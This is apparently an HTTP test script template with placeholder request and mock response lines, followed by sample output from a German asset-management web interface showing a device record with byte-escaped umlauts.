/your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __|$DEBUG| _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __null
MAC: deadbeefbabe
Ger0xc3 0xa4 t: null
Autorisiert: Ja
Restriktionen:
Owner:
Assetstatus: AKTIV
AssetID: WEBGUI100009
Parent AssetID: WEBGUI100009
Ger0xc3 0xa4 tetyp: null
Ger0xc3 0xa4 teklasse: null
Source: WEBGUI __ __ __ __ __ Bearbeiten __